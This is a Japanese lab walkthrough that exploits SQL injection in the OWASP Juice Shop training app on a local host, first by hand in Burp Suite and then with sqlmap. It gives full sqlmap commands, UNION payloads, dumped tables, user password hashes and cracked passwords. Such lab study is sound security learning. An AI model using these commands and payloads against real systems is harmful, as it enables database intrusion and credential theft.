OWASP JuiceShopと、sqlmapで遊ぶ

Juice Shopにたいして、sqlmapを色々な形で実行して、SQLインジェクションの概念検証をしてみる

Burp Suiteを使ってインジェクションポイントを探す

ここはぶっちゃけ、いきなりsqlmapから始めてもいいところ。しかし、下調べの列挙数や精度が結果に大きく響くし、無駄なノイズも発生させたくないので、軽く手動でやってみる。

firefoxのFoxyProxyで、burpをONにして、Juice Shopで検索をした時にどの様なリクエストが出るかを確認。

以下のようなリクエストを発見。

このリクエストを、Burpで、「send repeater」する。

Repeaterで、リクエストの検索クエリを手動で書き換えてみて送信すると、なんかいい感じで検索結果のレスポンスが返ってきているのが見える。

ここに、sqlをいれられるかテストしてみる。「apple’」と、appleの後ろにシングルクォートを入れてみると、なんかエラーが返ってきた。SQLのシンタックスエラーがそのまま返ってきているので、SQLインジェクションの脆弱性がある。

また、エラーメッセージをよく読むと、データベースサーバーが、SQLiteという事がわかる。この情報は、後々のsqlmapを使用する際の精度アップ、調査コスト軽減に役に立つ。

さらにエラーメッセージを見ると、SQL文のどの部分でエラーが出ているのかで分かるので、もうちょいクエリを直接いじって、エラーが出ないところまで頑張ってみる。

色々いじった結果、「apple’)); — 」で、SQL文のエラーは出なくなり、HTMLのエラーが出るようにいなった。ちなみに、nginxが使われているみたい。

この時点でSQL自体は、正常に処理されたと思う。正常に処理された正しいSQL文の後ろに、UNION句をつなげて、DBの情報を取得していくという流れになる。

ここまでの作業で、sqlmapに教えてあげることができる有効な情報が結構溜まった。

  • 脆弱性の有るURLは、「/rest/products/search」
  • 脆弱性の有るパラメータは、「q」
  • データベースサーバーは、SQLite
  • UNION句を連結させるために必要な、前文を正常に閉じるためのSQLは、「’))」

これだけ情報が取れたので、Burp Suiteからは一旦離れて本題にいってみる。

sqlmap

早速、列挙した情報をもとに、sqlmapを叩いてみる。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" -p "q" --dbms=sqlite --dump-all
        ___
       __H__                                                                                                                                                   
 ___ ___[']_____ ___ ___  {1.7.2.22#dev}                                                                                                                       
|_ -| . [']     | .'| . |                                                                                                                                      
|___|_  [.]_|_|_|__,|  _|                                                                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:38:34 /2023-03-12/

[10:38:35] [INFO] testing connection to the target URL
[10:38:35] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:38:35] [INFO] testing if the target URL content is stable
[10:38:35] [INFO] target URL content is stable
[10:38:35] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[10:38:35] [INFO] testing for SQL injection on GET parameter 'q'
[10:38:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:38:36] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:38:36] [INFO] testing 'Generic inline queries'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] 

基本的なUNIONのテストだけを実行するかどうかを聞いてきているので、「Y」を選択。そうすると、こんな感じで怒られて終了。

[10:41:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:41:06] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[10:41:06] [WARNING] GET parameter 'q' does not seem to be injectable
[10:41:06] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'                                                                                                                          
[10:41:06] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 4 times

[*] ending @ 10:41:06 /2023-03-12/

–leveや–riskを上げて試してみてと言っている。levelは1から5まで設定ができる。詳しくは、こちら。

https://github.com/sqlmapproject/sqlmap/wiki/Usage

■ Level

1通常のパラーメータを使用(デフォルト)
2Cookieヘッダーも使用
3User-Agentヘッダーも使用
4不明(ドキュメントに見つからなかった)
5Hostヘッダーも使用

■ Risk

1システムに無害なSQLのみ使用(デフォルト)
2時間ベースのブラインドSQLインジェクションを含む。成功した場合は、データベースサーバーが一定時間(処理が終わるまで)止まる可能性がある。実際に私の環境だと止まり、Juice Shopのサイトが一定時間動かなくなります。
3UPDATE文なども含むため、成功した場合元のデータを書き換える可能性が有る。破壊目的じゃない場合は、DBをバックアップしておいた方がいい。

sqlmapからは、上記のLevelやRiskを調整する提案がなされているが、Burp SuiteでUNION句を使用する場合に有効な情報を既に得ているので、その情報も教えてあげて再度実行。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" -p "q" --dbms=sqlite --prefix="'))" --dump-all
        ___
       __H__                                                                                                                                                   
 ___ ___[)]_____ ___ ___  {1.7.2.22#dev}                                                                                                                       
|_ -| . [(]     | .'| . |                                                                                                                                      
|___|_  [']_|_|_|__,|  _|                                                                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:58:08 /2023-03-12/

[10:58:08] [INFO] testing connection to the target URL
[10:58:08] [INFO] testing if the target URL content is stable
[10:58:09] [INFO] target URL content is stable
[10:58:09] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[10:58:09] [INFO] testing for SQL injection on GET parameter 'q'
[10:58:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:58:09] [WARNING] reflective value(s) found and filtering out
[10:58:09] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:58:09] [INFO] testing 'Generic inline queries'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] 
[10:58:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:58:15] [WARNING] GET parameter 'q' does not seem to be injectable
[10:58:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'                                                                                                                          
[10:58:15] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 13 times

[*] ending @ 10:58:15 /2023-03-12/

今回は、–prefixを指定してあげて、途中の質問(前と同じ)の回答も、前回と同じ「Y」で進めたが、また同じ様に怒られて終了した。

なので、質問の時点で「n」を選択してみる。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" -p "q" --dbms=sqlite --prefix="'))" --dump-all
        ___
       __H__                                                                                                                                                   
 ___ ___[)]_____ ___ ___  {1.7.2.22#dev}                                                                                                                       
|_ -| . [']     | .'| . |                                                                                                                                      
|___|_  [,]_|_|_|__,|  _|                                                                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:00:16 /2023-03-12/

[11:00:16] [INFO] testing connection to the target URL
[11:00:16] [INFO] testing if the target URL content is stable
[11:00:16] [INFO] target URL content is stable
[11:00:16] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[11:00:16] [INFO] testing for SQL injection on GET parameter 'q'
[11:00:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:00:17] [WARNING] reflective value(s) found and filtering out
[11:00:17] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:00:17] [INFO] testing 'Generic inline queries'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[11:00:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:00:20] [INFO] target URL appears to be UNION injectable with 9 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 

そうすると進展があった。よく見ると、「[INFO] target URL appears to be UNION injectable with 9 columns」ということで、カラム数が9個でUNIONが成功することが解った。

そして、最後の行で

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 

と質問されている。インジェクションにNULL値は使用できないので、–union-charオプションを付けるか?と言っているので、「Y」を選択。

そうすると、以下のように表示された。

[11:06:33] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[11:06:33] [INFO] GET parameter 'q' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[11:06:33] [INFO] checking if the injection point on GET parameter 'q' is a false positive
[11:06:34] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

よく見ると、「GET parameter ‘q’ is vulnerable.」とありqには脆弱性があるよと言っている。また、「Do you want to keep testing the others (if any)?」、他も試すかい?と聞かれている。他を試す必要がないので、「N」を選択。

そうるすと、以下のように表示された。

$ sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:
---
Parameter: q (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: q=a')) UNION ALL SELECT 16,16,16,16,16,16,16,CHAR(113,106,118,106,113)||CHAR(104,66,111,72,80,114,84,90,102,79)||CHAR(113,118,120,122,113),16-- NEGR
---
[11:09:19] [INFO] testing SQLite
[11:09:19] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[11:09:19] [INFO] confirming SQLite
[11:09:19] [INFO] actively fingerprinting SQLite
[11:09:19] [INFO] the back-end DBMS is SQLite
web application technology: Nginx 1.23.3
back-end DBMS: SQLite
[11:09:19] [INFO] sqlmap will dump entries of all tables from all databases now
[11:09:19] [INFO] fetching tables for database: 'SQLite_masterdb'
[11:09:19] [WARNING] the SQL query provided does not return any output
[11:09:19] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[11:09:19] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q]

よく見るといろいろ提案されている。

「in case of continuous data retrieval problems you are advised to try a switch ‘–no-cast’ or switch ‘–hex’」とあり、上手くデータの取得が出来ない場合は、–no-castか、–hexを試せと言っている。

「unable to retrieve the table names for any database」とあり、どのデータベースのテーブル取得も出来なかったと言っている。

そして「do you want to use common table existence check?」、辞書ファイルからテーブル名のブルートフォースをやるか?と聞いてきたので、「N」を選択。

そうすると、sqlmapが終了するので、提案してもらったとおり、–no-castを付けるか?

ちなみに、公式ドキュメントを読む限りこのオプションは、sqlmapがデータベースサーバーから戻り値を受け取った際に、その内容を文字列型にキャストしているらしい。しかしデータベースからそもそもNULL値が返されている場合など、これが上手く機能しない場合もあるとのこと。

「ホンマかいな?」と思いつつも、実行してみると、

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" -p "q" --dbms=sqlite --prefix="'))" --dump-all --no-cast
        ___
       __H__                                                                                                                                                   
 ___ ___[']_____ ___ ___  {1.7.2.22#dev}                                                                                                                       
|_ -| . [(]     | .'| . |                                                                                                                                      
|___|_  ["]_|_|_|__,|  _|                                                                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:20:03 /2023-03-12/

[11:20:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: q=a')) UNION ALL SELECT 16,16,16,16,16,16,16,CHAR(113,106,118,106,113)||CHAR(104,66,111,72,80,114,84,90,102,79)||CHAR(113,118,120,122,113),16-- NEGR
---
[11:20:03] [INFO] testing SQLite
[11:20:03] [INFO] confirming SQLite
[11:20:03] [INFO] actively fingerprinting SQLite
[11:20:03] [INFO] the back-end DBMS is SQLite
web application technology: Nginx 1.23.3
back-end DBMS: SQLite
[11:20:03] [INFO] sqlmap will dump entries of all tables from all databases now
[11:20:03] [INFO] fetching tables for database: 'SQLite_masterdb'
[11:20:04] [INFO] retrieved: 'Users'
[11:20:04] [INFO] retrieved: 'sqlite_sequence'
[11:20:04] [INFO] retrieved: 'Addresses'
[11:20:04] [INFO] retrieved: 'Baskets'
[11:20:04] [INFO] retrieved: 'Products'
[11:20:04] [INFO] retrieved: 'BasketItems'
[11:20:04] [INFO] retrieved: 'Captchas'
[11:20:04] [INFO] retrieved: 'Cards'
[11:20:04] [INFO] retrieved: 'Challenges'
[11:20:04] [INFO] retrieved: 'Complaints'
[11:20:04] [INFO] retrieved: 'Deliveries'
[11:20:04] [INFO] retrieved: 'Feedbacks'
[11:20:04] [INFO] retrieved: 'ImageCaptchas'
[11:20:04] [INFO] retrieved: 'Memories'
[11:20:04] [INFO] retrieved: 'PrivacyRequests'
[11:20:04] [INFO] retrieved: 'Quantities'
[11:20:04] [INFO] retrieved: 'Recycles'
[11:20:04] [INFO] retrieved: 'SecurityQuestions'
[11:20:04] [INFO] retrieved: 'SecurityAnswers'
[11:20:05] [INFO] retrieved: 'Wallets'
[11:20:05] [INFO] fetching columns for table 'Challenges'                                                                                                     
[11:20:05] [WARNING] unable to retrieve column names for table 'Challenges' 
do you want to use common column existence check? [y/N/q]

テーブルの一覧が取れた。なるほど、これは使えるオプションだ。

そして最後に、「do you want to use common column existence check?」、辞書ファイルを使ってカラム名のブルートフォースをやるかい?と聞かれているので、「N」を選択。

そうすると、各テーブルに対して以下のように、カラム検索&列挙が実行される。

[11:22:40] [INFO] fetching columns for table 'Users' 
[11:22:40] [WARNING] unable to retrieve column names for table 'Users' 
[11:22:40] [WARNING] unable to enumerate the columns for table 'Users'
[11:22:40] [INFO] fetching columns for table 'Quantities' 
[11:22:40] [WARNING] unable to retrieve column names for table 'Quantities' 
[11:22:40] [WARNING] unable to enumerate the columns for table 'Quantities'
[11:22:40] [INFO] fetching columns for table 'Recycles' 
[11:22:40] [WARNING] unable to retrieve column names for table 'Recycles' 
[11:22:40] [WARNING] unable to enumerate the columns for table 'Recycles'
[11:22:40] [INFO] fetching columns for table 'Challenges' 
[11:22:40] [WARNING] unable to retrieve column names for table 'Challenges' 
[11:22:40] [WARNING] unable to enumerate the columns for table 'Challenges'
[11:22:40] [INFO] fetching columns for table 'Addresses' 
[11:22:40] [WARNING] unable to retrieve column names for table 'Addresses' 
[11:22:40] [WARNING] unable to enumerate the columns for table 'Addresses'
[11:22:40] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 21 times

が、それぞのテーブルで、カラム名を列挙できませんとWATNINGが出て、終了した。

しかし、最初にBurp Suiteで少しばかりの情報を集めたお陰で、sqlmapの、「Level」や「Risk」を挙げなくても、テーブルの一覧の取得まではこれた。

改めて、コマンドラインからsqlmapコマンドを次のように実行。色々と追加してきたオプションを削除して、–tablesオプションだけを付けている。sqlマップは、今までの作業(学習)した結果を、「~/.local/share/sqlmap」に保存しているので、この様にオプションを省いても、学習内容を元に継続可能。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" --tables

そうすると、以下のようにいつでもテーブル一覧が取得できる状態となっている。

<current>                                                                                                                                                     
[20 tables]
+-------------------+
| Addresses         |
| BasketItems       |
| Baskets           |
| Captchas          |
| Cards             |
| Challenges        |
| Complaints        |
| Deliveries        |
| Feedbacks         |
| ImageCaptchas     |
| Memories          |
| PrivacyRequests   |
| Products          |
| Quantities        |
| Recycles          |
| SecurityAnswers   |
| SecurityQuestions |
| Users             |
| Wallets           |
| sqlite_sequence   |
+-------------------+

しかしここから先、テーブルのデータにもアクセスしていきたいが、先程のようにカラム名の取得に失敗しているので、素直にLevelやRiskあたりを調整してみる。本当はコレを使わずに、最後までいきたかったが、まだスキル不足。

しかし、.local/share/sqlmapを削除して何度か同じ手順を試しているところ、以下のWARNINGに気が付いた。

「[WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected」。パラメータ長を制約する機構が検出された。もしかして列挙段階での潜在的に失敗しているかも?とのこと。

公式で調べると、「–no-escape」というスイッチを見つけた。

やってみる。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" -p "q" --dbms=sqlite --prefix="'))" --dump-all --no-cast --no-escape

これは、出力結果の一部だが、明らかに結果が進捗した。

Database: <current>                                                                                                                                           
Table: BasketItems
[8 entries]
+----+----------+-----------+----------+--------------------------------+--------------------------------+
| id | BasketId | ProductId | quantity | createdAt                      | updatedAt                      |
+----+----------+-----------+----------+--------------------------------+--------------------------------+
| 1  | 1        | 1         | 2        | 2023-03-12 03:09:21.521 +00:00 | 2023-03-12 03:09:21.521 +00:00 |
| 2  | 1        | 2         | 3        | 2023-03-12 03:09:21.522 +00:00 | 2023-03-12 03:09:21.522 +00:00 |
| 3  | 1        | 3         | 1        | 2023-03-12 03:09:21.523 +00:00 | 2023-03-12 03:09:21.523 +00:00 |
| 4  | 2        | 4         | 2        | 2023-03-12 03:09:21.523 +00:00 | 2023-03-12 03:09:21.523 +00:00 |
| 5  | 3        | 4         | 1        | 2023-03-12 03:09:21.523 +00:00 | 2023-03-12 03:09:21.523 +00:00 |
| 6  | 4        | 4         | 2        | 2023-03-12 03:09:21.524 +00:00 | 2023-03-12 03:09:21.524 +00:00 |
| 7  | 5        | 3         | 5        | 2023-03-12 03:09:21.524 +00:00 | 2023-03-12 03:09:21.524 +00:00 |
| 8  | 5        | 4         | 2        | 2023-03-12 03:09:21.525 +00:00 | 2023-03-12 03:09:21.525 +00:00 |
+----+----------+-----------+----------+--------------------------------+--------------------------------+

そして、「do you want to store hashes to a temporary file for eventual further processing with other tools 」、他のツールもためすかい?と聞いてくるが、この検証を進めたいので、ここでは一旦「N」を選択。

そうすると、「do you want to crack them via a dictionary-based attack?」、辞書ファイルで攻撃するか?と聞いてくるが、同じ理由で一旦「n」を選択。

出力結果を見る限り、テーブルのカラムも取れているようなので、再度以下のコマンドを試してみる。

<current>
[20 tables]
+-------------------+
| Addresses         |
| BasketItems       |
| Baskets           |
| Captchas          |
| Cards             |
| Challenges        |
| Complaints        |
| Deliveries        |
| Feedbacks         |
| ImageCaptchas     |
| Memories          |
| PrivacyRequests   |
| Products          |
| Quantities        |
| Recycles          |
| SecurityAnswers   |
| SecurityQuestions |
| Users             |
| Wallets           |
| sqlite_sequence   |
+-------------------+

そして、Usersテーブルのカラムが取れているか?

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" -T Users --columns

+--------------+----------+
| Column       | Type     |
+--------------+----------+
| createdAt    | DATETIME |
| deletedAt    | DATETIME |
| deluxeToken  | VARCHAR  |
| email        | VARCHAR  |
| id           | INTEGER  |
| isActive     | TINYINT  |
| lastLoginIp  | VARCHAR  |
| password     | VARCHAR  |
| profileImage | VARCHAR  |
| role         | VARCHAR  |
| totpSecret   | VARCHAR  |
| updatedAt    | DATETIME |
| username     | VARCHAR  |
+--------------+----------+

とれている。

しかし、以下のコマンドで各テーブルごとのデータを取得しようとすると、取得できるテーブルと出来ないテーブルがある。

■ Usersテーブルはデータが取得できない。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" --dump -T Users      
        ___
       __H__                                                                                                                                                   
 ___ ___[)]_____ ___ ___  {1.7.2.22#dev}                                                                                                                       
|_ -| . [(]     | .'| . |                                                                                                                                      
|___|_  [.]_|_|_|__,|  _|                                                                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:49:41 /2023-03-12/

[12:49:41] [INFO] resuming back-end DBMS 'sqlite' 
[12:49:41] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: q=a')) UNION ALL SELECT 11,11,11,11,'qjkxq'||'gQXDQeaMhELiVKMucNSgNbRFVMapyFOqymOYOsDI'||'qvbzq',11,11,11,11-- pbHB
---
[12:49:41] [INFO] the back-end DBMS is SQLite
web application technology: Nginx 1.23.3
back-end DBMS: SQLite
[12:49:41] [INFO] fetching columns for table 'Users' 
[12:49:41] [INFO] fetching entries for table 'Users'
[12:49:43] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'                              
[12:49:43] [WARNING] unable to retrieve the entries for table 'Users' in database 'SQLite_masterdb'
[12:49:43] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 22 times
[12:49:43] [INFO] fetched data logged to text files under '~/.local/share/sqlmap/output/mercury.localdomain'

[*] ending @ 12:49:43 /2023-03-12/

■ この様に取得できるものもある。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" --dump -T Wallets    
        ___
       __H__                                                                                                                                                   
 ___ ___["]_____ ___ ___  {1.7.2.22#dev}                                                                                                                       
|_ -| . [,]     | .'| . |                                                                                                                                      
|___|_  [,]_|_|_|__,|  _|                                                                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                                                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:50:43 /2023-03-12/

[12:50:43] [INFO] resuming back-end DBMS 'sqlite' 
[12:50:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: q=a')) UNION ALL SELECT 11,11,11,11,'qjkxq'||'gQXDQeaMhELiVKMucNSgNbRFVMapyFOqymOYOsDI'||'qvbzq',11,11,11,11-- pbHB
---
Database: <current>                                                                                                                                           
Table: Wallets
[20 entries]
+----+--------+---------+--------------------------------+--------------------------------+
| id | UserId | balance | createdAt                      | updatedAt                      |
+----+--------+---------+--------------------------------+--------------------------------+
| 1  | 1      | 0       | 2023-03-12 03:09:42.607 +00:00 | 2023-03-12 03:09:42.607 +00:00 |
| 2  | 2      | 100     | 2023-03-12 03:09:42.607 +00:00 | 2023-03-12 03:09:42.607 +00:00 |
| 3  | 3      | 0       | 2023-03-12 03:09:42.608 +00:00 | 2023-03-12 03:09:42.608 +00:00 |
| 4  | 4      | 0       | 2023-03-12 03:09:42.608 +00:00 | 2023-03-12 03:09:42.608 +00:00 |
| 5  | 5      | 0       | 2023-03-12 03:09:42.608 +00:00 | 2023-03-12 03:09:42.608 +00:00 |
| 6  | 6      | 0       | 2023-03-12 03:09:42.608 +00:00 | 2023-03-12 03:09:42.608 +00:00 |
| 7  | 7      | 100     | 2023-03-12 03:09:42.608 +00:00 | 2023-03-12 03:09:42.608 +00:00 |
| 8  | 8      | 0       | 2023-03-12 03:09:42.608 +00:00 | 2023-03-12 03:09:42.608 +00:00 |
| 9  | 9      | 0       | 2023-03-12 03:09:42.609 +00:00 | 2023-03-12 03:09:42.609 +00:00 |
| 10 | 10     | 0       | 2023-03-12 03:09:42.609 +00:00 | 2023-03-12 03:09:42.609 +00:00 |
| 11 | 11     | 0       | 2023-03-12 03:09:42.609 +00:00 | 2023-03-12 03:09:42.609 +00:00 |
| 12 | 12     | 0       | 2023-03-12 03:09:42.609 +00:00 | 2023-03-12 03:09:42.609 +00:00 |
| 13 | 13     | 0       | 2023-03-12 03:09:42.609 +00:00 | 2023-03-12 03:09:42.609 +00:00 |
| 14 | 14     | 0       | 2023-03-12 03:09:42.609 +00:00 | 2023-03-12 03:09:42.609 +00:00 |
| 15 | 15     | 0       | 2023-03-12 03:09:42.609 +00:00 | 2023-03-12 03:09:42.609 +00:00 |
| 16 | 16     | 100     | 2023-03-12 03:09:42.610 +00:00 | 2023-03-12 03:09:42.610 +00:00 |
| 17 | 17     | 200     | 2023-03-12 03:09:42.610 +00:00 | 2023-03-12 03:09:42.610 +00:00 |
| 18 | 18     | 0       | 2023-03-12 03:09:42.610 +00:00 | 2023-03-12 03:09:42.610 +00:00 |
| 19 | 19     | 0       | 2023-03-12 03:09:42.610 +00:00 | 2023-03-12 03:09:42.610 +00:00 |
| 20 | 20     | 0       | 2023-03-12 03:09:42.610 +00:00 | 2023-03-12 03:09:42.610 +00:00 |
+----+--------+---------+--------------------------------+--------------------------------+

しかし、カラムはとれているので、以下の方法でカラムを指定して、データを取得する事は出来る。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" --dump -T Users --columns

Database: <current>
Table: Users
[13 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| createdAt    | DATETIME |
| deletedAt    | DATETIME |
| deluxeToken  | VARCHAR  |
| email        | VARCHAR  |
| id           | INTEGER  |
| isActive     | TINYINT  |
| lastLoginIp  | VARCHAR  |
| password     | VARCHAR  |
| profileImage | VARCHAR  |
| role         | VARCHAR  |
| totpSecret   | VARCHAR  |
| updatedAt    | DATETIME |
| username     | VARCHAR  |
+--------------+----------+

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" --dump -T Users -C email,password --dump

Database: <current>
Table: Users
[20 entries]
+----------------------------+----------------------------------+
| email                      | password                         |
+----------------------------+----------------------------------+
| admin@juice-sh.op          | 0192023a7bbd73250516f069df18b500 |
| jim@juice-sh.op            | e541ca7ecf72b8d1286474fc613e5e45 |
| bender@juice-sh.op         | 0c36e517e3fa95aabf1bbffc6744a4ef |
| bjoern.kimminich@gmail.com | 6edd9d726cbdc873c539e41ae8757b8c |
| ciso@juice-sh.op           | 861917d5fa5f1172f931dc700d81a8fb |
| support@juice-sh.op        | 3869433d74e3d0c86fd25562f836bc82 |
| morty@juice-sh.op          | f2f933d0bb0ba057bc8e33b8ebd6d9e8 |
| mc.safesearch@juice-sh.op  | b03f4b0ba8b458fa0acdc02cdb953bc8 |
| J12934@juice-sh.op         | 3c2abc04e4a6ea8f1327d0aae3714b7d |
| wurstbrot@juice-sh.op      | 9ad5b0492bbe528583e128d2a8941de4 |
| amy@juice-sh.op            | 030f05e45e30710c3ad3c32f00de0473 |
| bjoern@juice-sh.op         | 7f311911af16fa8f418dd1a3051d6810 |
| bjoern@owasp.org           | 9283f1b2e9669749081963be0462e466 |
| chris.pike@juice-sh.op     | 10a783b9ed19ea1c67c3a27699f0095b |
| accountant@juice-sh.op     | 963e10f92a70b4b463220cb4c5d636dc |
| uvogin@juice-sh.op         | 05f92148b4b60f7dacd04cceebb8f1af |
| demo                       | fe01ce2a7fbac8fafaed7c982a04e229 |
| john@juice-sh.op           | 00479e957b6b42c459ee5746478e4d45 |
| emma@juice-sh.op           | 402f1c4a75e316afec5a6ea63147f739 |
| stan@juice-sh.op           | e9048a3f43dd5e094ef733f3bd88ea64 |
+----------------------------+----------------------------------+

ちなみに今回の実験の本筋ではないので、方法は割愛するが、この時点で、John the ripperなどと連携して、レインボーテーブル攻撃で、簡単なパスワードを複合させることも可能。

[12:58:11] [INFO] cracked password 'admin123' for hash '0192023a7bbd73250516f069df18b500'                                                                     
[12:58:11] [INFO] cracked password 'demo' for hash 'fe01ce2a7fbac8fafaed7c982a04e229'                                                                         
[12:58:13] [INFO] cracked password 'ncc-1701' for hash 'e541ca7ecf72b8d1286474fc613e5e45'

ちなみに、脆弱性診断など概念検証できたので、ここまでで結果として十分。

しかし、個人的には「うーん、しかしなぜ、Usersテーブルはカラムを指定しないとdumpできないのか??」と、納得がいかない。

またしても、「.local/share/sqlmap」を削除しながら何回か同じ手順を試していると、以下のWARNINGに気づく。

[13:02:12] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ": syntax error
[13:02:12] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ": syntax error
[13:02:12] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ": syntax error
[13:02:12] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ": syntax error
[13:02:12] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ": syntax error
[13:02:12] [WARNING] possible server trimmed output detected (probably due to its length and/or content): ": syntax error

直訳すると、

サーバーでトリミングされた出力が検出された可能性があります(長さや内容によるものと思われます)。

こんな感じなので、もしかしてUNIONによるテストの限界なのかもしれない。どういう事かと言うと、SQLインジェクションは成功しているものの、アプリケーションサーバー側でjsonで結果を返す際に、SQLの結果の文字列が長すぎて、トリミングされている可能性があるということ。

悔しいが、一旦、LevelとRiskに頼る。とりあえず、両方共3に設定して実行。

$ sqlmap -u "http://mercury.localdomain:8001/rest/products/search?q=a" -p "q" --level=3 --risk=3

結果をよく見ると、なんと、「q」には、Booleanベースの脆弱性が有ると言っている!

[INFO] GET parameter 'q' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="The")

これは、UNIONインジェクションだと、戻り値の文字列が長い場合トリミングされている可能性があるが、Booleanベースで試せる場合は、結果はTrueかFalseだけなので、トリミングされようがないので期待ができる。

一旦、Ctrl-Cでsqlmapを抜けて、無駄にLevelやRiskを上げて実行したくないので、数値を最低限に抑え、さらに上記でヒントをもらった、Booleanベースのテストのみに絞る。ちなみに、levelは2にしないと反応しなかったので、以下がミニマム。

ここで重要な概念が、techiniqueオプションのフラグはデフォルトで、「BEUSTQ」の全てがセットされている。この中でも、TやSはサーバーをダウンさせる可能性があるというか、Tはダウンする。なので、LevelやRiskを上げる場合は、出来る限り必要なフラグだけにするということ。

